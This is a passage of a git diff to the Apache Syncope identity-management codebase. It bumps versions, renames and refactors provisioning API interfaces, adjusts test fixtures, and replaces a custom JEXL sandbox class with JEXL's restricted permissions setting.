+773,8 @@ under the License. - + @@ -818,7 +829,7 @@ under the License. destinationRealm_id="e4c28e7a-9dbf-4ee7-9441-93812a0d4a28" performCreate="1" performUpdate="1" performDelete="0" syncStatus="1" pullMode="FULL_RECONCILIATION" unmatchingRule="PROVISION" matchingRule="UPDATE" active="1" jobDelegate_id="PullJobDelegate"/> - - - - - - - - - - - - - - - - + + - - - - - + diff --git a/core/persistence-jpa/src/test/resources/domains/MasterKeymasterConfParams.json b/core/persistence-jpa/src/test/resources/domains/MasterKeymasterConfParams.json index 9fa010a8d2d..38f2b162f80 100644 --- a/core/persistence-jpa/src/test/resources/domains/MasterKeymasterConfParams.json +++ b/core/persistence-jpa/src/test/resources/domains/MasterKeymasterConfParams.json @@ -13,6 +13,5 @@ "return.password.value": false, "jwt.lifetime.minutes": 120, "connector.conf.history.size": 10, - "resource.conf.history.size": 10, - "tasks.interruptMaxRetries": 1 -} \ No newline at end of file + "resource.conf.history.size": 10 +} diff --git a/core/persistence-jpa/src/test/resources/domains/TwoContent.xml b/core/persistence-jpa/src/test/resources/domains/TwoContent.xml index 8724010633e..b217335aa4c 100644 --- a/core/persistence-jpa/src/test/resources/domains/TwoContent.xml +++ b/core/persistence-jpa/src/test/resources/domains/TwoContent.xml @@ -18,7 +18,7 @@ specific language governing permissions and limitations under the License. --> - + @@ -26,14 +26,19 @@ under the License. - - + + + + - + + + - + diff --git a/core/persistence-jpa/src/test/resources/simplelogger.properties b/core/persistence-jpa/src/test/resources/simplelogger.properties index 929ded23352..df82bd0d023 100644 --- a/core/persistence-jpa/src/test/resources/simplelogger.properties +++ b/core/persistence-jpa/src/test/resources/simplelogger.properties @@ -17,6 +17,7 @@ # See http://www.slf4j.org/api/org/slf4j/impl/SimpleLogger.html # Possible values: "trace", "debug", "info", "warn", or "error" +org.slf4j.simpleLogger.showDateTime=true +org.slf4j.simpleLogger.dateTimeFormat=YYYY-mm-dd HH:mm:ss.SSS org.slf4j.simpleLogger.defaultLogLevel=debug org.slf4j.simpleLogger.log.org.springframework.jdbc.core.JdbcTemplate=error - diff --git a/core/pom.xml b/core/pom.xml index 6326e82c90e..82c364dfaef 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core diff --git a/core/provisioning-api/pom.xml b/core/provisioning-api/pom.xml index 3225090bb36..984df914d83 100644 --- a/core/provisioning-api/pom.xml +++ b/core/provisioning-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Provisioning API @@ -54,15 +54,6 @@ under the License. commons-jexl3 - - com.fasterxml.jackson.core - jackson-core - - - com.fasterxml.jackson.module - jackson-module-afterburner - - org.slf4j slf4j-simple diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ConnectorManager.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ConnectorManager.java index 080bb41afe7..29aa74b3815 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ConnectorManager.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ConnectorManager.java @@ -92,9 +92,9 @@ ConnInstance buildConnInstanceOverride( void registerConnector(ExternalResource resource); /** - * Removes the Spring bean for the given id from the context. + * Removes the Spring bean for the given resource from the context. * - * @param id Spring bean id + * @param resource external resource */ - void unregisterConnector(String id); + void unregisterConnector(ExternalResource resource); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/ImplementationLookup.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ImplementationLookup.java similarity index 73% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/ImplementationLookup.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ImplementationLookup.java index fd94f324206..ffd465c79ff 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/ImplementationLookup.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ImplementationLookup.java @@ -16,28 +16,27 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api; +package org.apache.syncope.core.provisioning.api; import java.util.Set; import org.apache.syncope.common.lib.policy.AccountRuleConf; import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.Reportlet; +import org.apache.syncope.common.lib.report.ReportConf; +import org.apache.syncope.core.persistence.api.SyncopeCoreLoader; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; public interface ImplementationLookup extends SyncopeCoreLoader { Set getClassNames(String type); - Set> getJWTSSOProviderClasses(); - - Class getReportletClass( - Class reportletConfClass); + Class getReportClass( + Class reportConfClass); Class getAccountRuleClass( Class accountRuleConfClass); diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/IntAttrNameParser.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/IntAttrNameParser.java index 6783418c9cd..7e9a0928fe4 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/IntAttrNameParser.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/IntAttrNameParser.java @@ -21,6 +21,7 @@ import java.text.ParseException; import java.util.regex.Matcher; import java.util.regex.Pattern; +import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.SchemaType; @@ -35,26 +36,29 @@ @SuppressWarnings({ "squid:S4784", "squid:S3776" }) public class IntAttrNameParser { - protected static final String END_PATTERN = ")\\]\\.(.+)"; + protected static final String END_PATTERN = "\\]\\.(.+)"; protected static final Pattern PRIVILEGE_PATTERN = Pattern.compile( "^privileges\\[(" + Entity.ID_REGEX + ")\\]"); protected static final Pattern ENCLOSING_GROUP_PATTERN = Pattern.compile( - "^groups\\[(" + Entity.ID_REGEX + END_PATTERN); + "^groups\\[(" + Entity.ID_REGEX + ")" + END_PATTERN); protected static final Pattern RELATED_USER_PATTERN = Pattern.compile( - "^users\\[(" + Entity.ID_REGEX + END_PATTERN); + "^users\\[(" + Entity.ID_REGEX + ")" + END_PATTERN); protected static final Pattern RELATED_ANY_OBJECT_PATTERN = Pattern.compile( - "^anyObjects\\[(" + Entity.ID_REGEX + END_PATTERN); + "^anyObjects\\[(" + Entity.ID_REGEX + ")" + END_PATTERN); protected static final Pattern MEMBERSHIP_PATTERN = Pattern.compile( - "^memberships\\[(" + Entity.ID_REGEX + END_PATTERN); + "^memberships\\[(" + Entity.ID_REGEX + ")" + END_PATTERN); protected static final Pattern RELATIONSHIP_PATTERN = Pattern.compile( "^relationships\\[(" + Entity.ID_REGEX + ")\\]" - + "\\[(" + Entity.ID_REGEX + END_PATTERN); + + "\\[(" + Entity.ID_REGEX + ")" + END_PATTERN); + + protected static final CharSequence[] RESERVED_WORDS = + { "groups", "users", "anyObjects", "memberships", "relationships" }; protected final PlainSchemaDAO plainSchemaDAO; @@ -115,8 +119,8 @@ protected void setFieldOrSchemaName( public IntAttrName parse(final String intAttrName, final AnyTypeKind provisionAnyTypeKind) throws ParseException { IntAttrName result = new IntAttrName(); - Matcher matcher; - if (intAttrName.indexOf('.') == -1) { + Matcher matcher = Pattern.compile(END_PATTERN).matcher(intAttrName); + if (!matcher.matches() && !StringUtils.containsAny(intAttrName, RESERVED_WORDS)) { matcher = PRIVILEGE_PATTERN.matcher(intAttrName); if (matcher.matches()) { result.setAnyTypeKind(AnyTypeKind.USER); diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/PropagationByResource.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/PropagationByResource.java index 9c71d67f0c9..50f5a3ef110 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/PropagationByResource.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/PropagationByResource.java @@ -24,6 +24,7 @@ import java.util.HashSet; import java.util.Map; import java.util.Set; +import java.util.function.Predicate; import java.util.stream.Stream; import org.apache.syncope.common.lib.types.ResourceOperation; @@ -52,7 +53,7 @@ public class PropagationByResource implements Serializab private final Set toBeDeleted; /** - * Mapping target resource names to old ConnObjectKeys (when applicable). + * Mapping target keys to old ConnObjectKeys (when applicable). */ private final Map oldConnObjectKeys; @@ -189,31 +190,43 @@ public boolean removeAll(final ResourceOperation type, final Set keys) { } /** - * Removes only the resource names in the underlying resource name sets that are contained in the specified - * collection. + * Removes only the keys in the underlying sets that are contained in the specified collection. * - * @param keys collection containing resource names to be retained in the underlying resource name sets - * @return {@code true} if the underlying resource name sets changed as a result of the call + * @param keys collection containing keys to be retained in the underlying sets + * @return {@code true} if the underlying sets changed as a result of the call * @see Collection#removeAll(java.util.Collection) */ public boolean removeAll(final Collection keys) { return toBeCreated.removeAll(keys) - || toBeUpdated.removeAll(keys) - || toBeDeleted.removeAll(keys); + | toBeUpdated.removeAll(keys) + | toBeDeleted.removeAll(keys); + } + + /** + * Removes all of the keys in the underlying sets that satisfy the given predicate. + * + * @param filter a predicate which returns true for elements to be removed + * @return {@code true} if the underlying sets changed as a result of the call + * @see Collection#removeIf(java.util.function.Predicate) + */ + public boolean removeIf(final Predicate filter) { + return toBeCreated.removeIf(filter) + | toBeUpdated.removeIf(filter) + | toBeDeleted.removeIf(filter); } /** - * Retains only the resource names in the underlying resource name sets that are contained in the specified + * Retains only the keys in the underlying sets that are contained in the specified * collection. * - * @param keys collection containing resource names to be retained in the underlying resource name sets - * @return {@code true} if the underlying resource name sets changed as a result of the call + * @param keys collection containing keys to be retained in the underlying sets + * @return {@code true} if the underlying sets changed as a result of the call * @see Collection#retainAll(java.util.Collection) */ public boolean retainAll(final Collection keys) { return toBeCreated.retainAll(keys) - || toBeUpdated.retainAll(keys) - || toBeDeleted.retainAll(keys); + | toBeUpdated.retainAll(keys) + | toBeDeleted.retainAll(keys); } public boolean contains(final ResourceOperation type, final T key) { diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/WorkflowResult.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/WorkflowResult.java index 335b0fb2ddf..37b84d0912e 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/WorkflowResult.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/WorkflowResult.java @@ -28,7 +28,7 @@ public class WorkflowResult { private T result; - private PropagationByResource propByRes; + private final PropagationByResource propByRes; private final Set performedTasks = new HashSet<>(); diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/AccessTokenDataBinder.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/AccessTokenDataBinder.java index a4870857736..a24bc035b73 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/AccessTokenDataBinder.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/AccessTokenDataBinder.java @@ -20,6 +20,7 @@ import java.time.OffsetDateTime; import java.util.Map; +import java.util.Optional; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.to.AccessTokenTO; import org.apache.syncope.core.persistence.api.entity.AccessToken; @@ -30,7 +31,7 @@ Pair generateJWT( String tokenId, String subject, long duration, Map claims); Pair create( - String subject, Map claims, byte[] authorities, boolean replace); + Optional key, String subject, Map claims, byte[] authorities, boolean replace); Pair update(AccessToken accessToken, byte[] authorities); diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/OIDCJWKSDataBinder.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/OIDCJWKSDataBinder.java index 8baf5da9e06..1e80199f410 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/OIDCJWKSDataBinder.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/OIDCJWKSDataBinder.java @@ -23,6 +23,36 @@ public interface OIDCJWKSDataBinder { + String PARAMETER_STATE = "state"; + + enum JsonWebKeyLifecycleState { + /** + * The key state is active and current and is used for crypto operations as necessary. + * Per the rotation schedule, the key with this status would be replaced and rotated by the future key. + */ + CURRENT(0), + /** + * The key state is one for the future and will take the place of the current key per the rotation schedule. + */ + FUTURE(1), + /** + * Previous key prior to the current key. + * This key continues to remain valid and available, and is a candidate to be removed from the keystore + * per the revocation schedule. + */ + PREVIOUS(2); + + private final long state; + + JsonWebKeyLifecycleState(final long state) { + this.state = state; + } + + public long getState() { + return state; + } + } + OIDCJWKSTO getOIDCJWKSTO(OIDCJWKS jwks); OIDCJWKS create(String jwksKeyId, String jwksType, int jwksKeySize); diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/TaskDataBinder.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/TaskDataBinder.java index eacbb5ca77a..464437ac1aa 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/TaskDataBinder.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/TaskDataBinder.java @@ -18,9 +18,12 @@ */ package org.apache.syncope.core.provisioning.api.data; +import java.util.Locale; +import org.apache.syncope.common.lib.form.SyncopeForm; import org.apache.syncope.common.lib.to.ExecTO; import org.apache.syncope.common.lib.to.SchedTaskTO; import org.apache.syncope.common.lib.to.TaskTO; +import org.apache.syncope.core.persistence.api.entity.task.MacroTask; import org.apache.syncope.core.persistence.api.entity.task.SchedTask; import org.apache.syncope.core.persistence.api.entity.task.Task; import org.apache.syncope.core.persistence.api.entity.task.TaskExec; @@ -37,4 +40,6 @@ public interface TaskDataBinder { ExecTO getExecTO(TaskExec execution); T getTaskTO(Task task, TaskUtils taskUtil, boolean details); + + SyncopeForm getMacroTaskForm(MacroTask task, Locale locale); } diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/event/AnyLifecycleEvent.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/event/EntityLifecycleEvent.java similarity index 78% rename from core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/event/AnyLifecycleEvent.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/event/EntityLifecycleEvent.java index 8fbc75f1c34..faab2acc765 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/event/AnyLifecycleEvent.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/event/EntityLifecycleEvent.java @@ -18,25 +18,25 @@ */ package org.apache.syncope.core.provisioning.api.event; -import org.apache.syncope.core.persistence.api.entity.Any; +import org.apache.syncope.core.persistence.api.entity.Entity; import org.identityconnectors.framework.common.objects.SyncDeltaType; import org.springframework.context.ApplicationEvent; -public class AnyLifecycleEvent> extends ApplicationEvent { +public class EntityLifecycleEvent extends ApplicationEvent { private static final long serialVersionUID = -781747175059834365L; private final SyncDeltaType type; - private final A any; + private final E entity; private final String domain; - public AnyLifecycleEvent(final Object source, final SyncDeltaType type, final A any, final String domain) { + public EntityLifecycleEvent(final Object source, final SyncDeltaType type, final E entity, final String domain) { super(source); this.type = type; - this.any = any; + this.entity = entity; this.domain = domain; } @@ -44,8 +44,8 @@ public SyncDeltaType getType() { return type; } - public A getAny() { - return any; + public E getEntity() { + return entity; } public String getDomain() { diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/JexlUtils.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/JexlUtils.java index 4692f82876c..1121735537a 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/JexlUtils.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/JexlUtils.java @@ -21,6 +21,7 @@ import java.beans.IntrospectionException; import java.beans.Introspector; import java.beans.PropertyDescriptor; +import java.io.StringWriter; import java.lang.reflect.Field; import java.time.temporal.TemporalAccessor; import java.util.Collection; @@ -29,6 +30,7 @@ import java.util.HashSet; import java.util.List; import java.util.Map; +import java.util.Optional; import java.util.Set; import org.apache.commons.jexl3.JexlBuilder; import org.apache.commons.jexl3.JexlContext; @@ -37,6 +39,7 @@ import org.apache.commons.jexl3.JexlExpression; import org.apache.commons.jexl3.JxltEngine; import org.apache.commons.jexl3.MapContext; +import org.apache.commons.jexl3.introspection.JexlPermissions; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.ClassUtils; import org.apache.commons.lang3.StringUtils; @@ -69,12 +72,14 @@ public final class JexlUtils { private static JexlEngine JEXL_ENGINE; - private static JexlEngine getEngine() { + private static JxltEngine JXTL_ENGINE; + + private static JexlEngine getJexlEngine() { synchronized (LOG) { if (JEXL_ENGINE == null) { JEXL_ENGINE = new JexlBuilder(). - uberspect(new SandboxUberspect()). loader(new EmptyClassLoader()). + permissions(JexlPermissions.RESTRICTED.compose("java.time.*", "org.apache.syncope.*")). namespaces(Map.of("syncope", new SyncopeJexlFunctions())). cache(512). silent(false). @@ -86,29 +91,35 @@ private static JexlEngine getEngine() { return JEXL_ENGINE; } - public static JxltEngine newJxltEngine() { - return getEngine().createJxltEngine(false); + private static JxltEngine getJxltEngine() { + synchronized (LOG) { + if (JXTL_ENGINE == null) { + JXTL_ENGINE = getJexlEngine().createJxltEngine(false); + } + } + + return JXTL_ENGINE; } public static boolean isExpressionValid(final String expression) { boolean result; try { - getEngine().createExpression(expression); + getJexlEngine().createExpression(expression); result = true; } catch (JexlException e) { - LOG.error("Invalid jexl expression: " + expression, e); + LOG.error("Invalid JEXL expression: " + expression, e); result = false; } return result; } - public static Object evaluate(final String expression, final JexlContext jexlContext) { + public static Object evaluateExpr(final String expression, final JexlContext jexlContext) { Object result = null; if (StringUtils.isNotBlank(expression) && jexlContext != null) { try { - JexlExpression jexlExpression = getEngine().createExpression(expression); + JexlExpression jexlExpression = getJexlEngine().createExpression(expression); result = jexlExpression.evaluate(jexlContext); } catch (Exception e) { LOG.error("Error while evaluating JEXL expression: " + expression, e); @@ -117,10 +128,32 @@ public static Object evaluate(final String expression, final JexlContext jexlCon LOG.debug("Expression not provided or invalid context"); } - return result == null ? StringUtils.EMPTY : result; + return Optional.ofNullable(result).orElse(StringUtils.EMPTY); + } + + public static String evaluateTemplate(final String template, final JexlContext jexlContext) { + String result = null; + + if (StringUtils.isNotBlank(template) && jexlContext != null) { + try { + StringWriter writer = new StringWriter(); + getJxltEngine().createTemplate(template).evaluate(jexlContext, writer); + result = writer.toString(); + } catch (Exception e) { + LOG.error("Error while evaluating JEXL template: " + template, e); + } + } else { + LOG.debug("Template not provided or invalid context"); + } + + return Optional.ofNullable(result).orElse(template); } public static void addFieldsToContext(final Object object, final JexlContext jexlContext) { + if (object == null) { + return; + } + Set> cached = FIELD_CACHE.get(object.getClass()); if (cached == null) { FIELD_CACHE.put(object.getClass(), Collections.synchronizedSet(new HashSet<>())); @@ -251,7 +284,7 @@ public static boolean evaluateMandatoryCondition( addPlainAttrsToContext(any.getPlainAttrs(), jexlContext); addDerAttrsToContext(any, derAttrHandler, jexlContext); - return Boolean.parseBoolean(evaluate(mandatoryCondition, jexlContext).toString()); + return Boolean.parseBoolean(evaluateExpr(mandatoryCondition, jexlContext).toString()); } /** diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/SandboxUberspect.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/SandboxUberspect.java deleted file mode 100644 index 26490fa6044..00000000000 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/SandboxUberspect.java +++ /dev/null @@ -1,103 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.provisioning.api.jexl; - -import java.time.Instant; -import java.time.temporal.TemporalAccessor; -import java.util.Collection; -import java.util.Date; -import java.util.List; -import java.util.Map; -import java.util.Optional; -import java.util.Set; -import org.apache.commons.jexl3.JexlEngine; -import org.apache.commons.jexl3.internal.introspection.Uberspect; -import org.apache.commons.jexl3.introspection.JexlMethod; -import org.apache.commons.jexl3.introspection.JexlPropertySet; -import org.apache.commons.jexl3.introspection.JexlUberspect; -import org.apache.commons.logging.LogFactory; -import org.apache.syncope.common.lib.Attr; -import org.apache.syncope.common.lib.to.AnyTO; -import org.apache.syncope.common.lib.to.MembershipTO; -import org.apache.syncope.common.lib.to.RealmTO; -import org.apache.syncope.core.persistence.api.entity.Any; -import org.apache.syncope.core.persistence.api.entity.Membership; -import org.apache.syncope.core.persistence.api.entity.PlainAttr; -import org.apache.syncope.core.persistence.api.entity.Realm; - -class SandboxUberspect extends Uberspect { - - private static final Set COLLECTION_METHODS = - Set.of("contains", "containsAll", "isEmpty", "size", "iterator", "toString"); - - private static final Set LIST_METHODS = - Set.of("get", "indexOf", "lastIndexOf", "toString"); - - private static final Set MAP_METHODS = - Set.of("get", "getOrDefault", "containsKey", "containsValue", "toString"); - - SandboxUberspect() { - super(LogFactory.getLog(JexlEngine.class), JexlUberspect.JEXL_STRATEGY); - } - - @Override - public JexlMethod getConstructor(final Object ctorHandle, final Object... args) { - return null; - } - - @Override - public JexlMethod getMethod(final Object obj, final String method, final Object... args) { - if (obj instanceof AnyTO || obj instanceof Any - || obj instanceof PlainAttr || obj instanceof Attr - || obj instanceof MembershipTO || obj instanceof Membership - || obj instanceof Realm || obj instanceof RealmTO) { - - return super.getMethod(obj, method, args); - } else if (obj instanceof SyncopeJexlFunctions) { - return super.getMethod(obj, method, args); - } else if (obj instanceof Optional) { - return super.getMethod(obj, method, args); - } else if (obj.getClass().isArray()) { - return super.getMethod(obj, method, args); - } else if (obj instanceof String) { - return super.getMethod(obj, method, args); - } else if (obj instanceof Date || obj instanceof Instant || obj instanceof TemporalAccessor) { - return super.getMethod(obj, method, args); - } else if (obj instanceof Map && MAP_METHODS.contains(method)) { - return super.getMethod(obj, method, args); - } else if (obj instanceof List && (LIST_METHODS.contains(method) || COLLECTION_METHODS.contains(method))) { - return super.getMethod(obj, method, args); - } else if (obj instanceof Collection && COLLECTION_METHODS.contains(method)) { - return super.getMethod(obj, method, args); - } - return null; - } - - @Override - public JexlPropertySet getPropertySet(final Object obj, final Object identifier, final Object arg) { - return null; - } - - @Override - public JexlPropertySet getPropertySet( - final List resolvers, final Object obj, final Object identifier, final Object arg) { - - return null; - } -} diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/SyncopeJexlFunctions.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/SyncopeJexlFunctions.java index 8fcfa2d0e1b..95414353b88 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/SyncopeJexlFunctions.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/jexl/SyncopeJexlFunctions.java @@ -21,8 +21,11 @@ import java.util.Arrays; import java.util.Collections; import java.util.List; +import java.util.Optional; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; +import org.identityconnectors.framework.common.objects.Attribute; +import org.identityconnectors.framework.common.objects.ConnectorObject; /** * Utility functions for usage with JEXL engine. @@ -63,4 +66,18 @@ public String fullPath2Dn(final String fullPath, final String attr, final String Collections.reverse(headless); return prefix + attr + "=" + headless.stream().collect(Collectors.joining("," + attr + "=")); } + + /** + * Extracts the values of the attribute with given name from the given connector object, or empty list if not found. + * + * @param connObj connector object + * @param name attribute name + * @return the values of the attribute with given name from the given connector object, or empty list if not found + */ + public List connObjAttrValues(final ConnectorObject connObj, final String name) { + return Optional.ofNullable(connObj). + flatMap(obj -> Optional.ofNullable(obj.getAttributeByName(name)). + map(Attribute::getValue)). + orElse(List.of()); + } } diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/JobDelegate.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/JobDelegate.java index 329cad28459..9addc1b2e02 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/JobDelegate.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/JobDelegate.java @@ -23,6 +23,8 @@ */ public interface JobDelegate { + String OPERATION_ID = "operation.id"; + void interrupt(); boolean isInterrupted(); diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/JobManager.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/JobManager.java index aac01962b3f..b699780fa0f 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/JobManager.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/JobManager.java @@ -34,21 +34,29 @@ public interface JobManager { String TASK_KEY = "taskKey"; - String REPORT_KEY = "report"; + String REPORT_KEY = "reportKey"; String DOMAIN_KEY = "domain"; String EXECUTOR_KEY = "executor"; + String DRY_RUN_JOBDETAIL_KEY = "dryRun"; + + String DELEGATE_IMPLEMENTATION = "delegateImpl"; + JobKey NOTIFICATION_JOB = new JobKey("notificationJob", Scheduler.DEFAULT_GROUP); boolean isRunning(JobKey jobKey) throws SchedulerException; - Map register(SchedTask task, OffsetDateTime startAt, long interruptMaxRetries, String executor) - throws SchedulerException; + Map register( + SchedTask task, + OffsetDateTime startAt, + String executor) throws SchedulerException; - void register(Report report, OffsetDateTime startAt, long interruptMaxRetries, String executor) - throws SchedulerException; + Map register( + Report report, + OffsetDateTime startAt, + String executor) throws SchedulerException; void unregister(Task task); diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/ClientAppMapFor.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/report/ReportConfClass.java similarity index 84% rename from wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/ClientAppMapFor.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/report/ReportConfClass.java index 5bd1b073584..ca143313d68 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/ClientAppMapFor.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/report/ReportConfClass.java @@ -16,17 +16,17 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.wa.starter.mapping; +package org.apache.syncope.core.provisioning.api.job.report; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; -import org.apache.syncope.common.lib.to.ClientAppTO; +import org.apache.syncope.common.lib.report.ReportConf; @Target({ ElementType.TYPE }) @Retention(RetentionPolicy.RUNTIME) -public @interface ClientAppMapFor { +public @interface ReportConfClass { - Class clientAppClass(); + Class value(); } diff --git a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/report/ReportJobDelegate.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/report/ReportJobDelegate.java index 9aad7aa6fad..3687f0259a0 100644 --- a/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/report/ReportJobDelegate.java +++ b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/job/report/ReportJobDelegate.java @@ -18,10 +18,31 @@ */ package org.apache.syncope.core.provisioning.api.job.report; +import org.apache.syncope.common.lib.report.ReportConf; import org.apache.syncope.core.provisioning.api.job.JobDelegate; +import org.quartz.JobExecutionContext; import org.quartz.JobExecutionException; public interface ReportJobDelegate extends JobDelegate { - void execute(String reportKey, String executor) throws JobExecutionException; + /** + * Optional configuration. + * + * @param conf configuration + */ + default void setConf(ReportConf conf) { + } + + /** + * Executes a Quartz Job to run the given Report. + * + * @param reportKey Report key to run + * @param dryRun indicates if execution shall be simulated with no actual changes + * @param context Quartz' execution context, can be used to pass parameters to the job + * @throws JobExecutionException if anything goes wrong + */ + void execute( + String reportKey, + boolean dryRun, + JobExecutionContext context) throws JobExecutionException; } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/Command.java b/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/macro/Command.java similarity index 94% rename from core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/Command.java rename to core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/macro/Command.java index 88047c89f5d..aea95cd2271 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/Command.java +++ 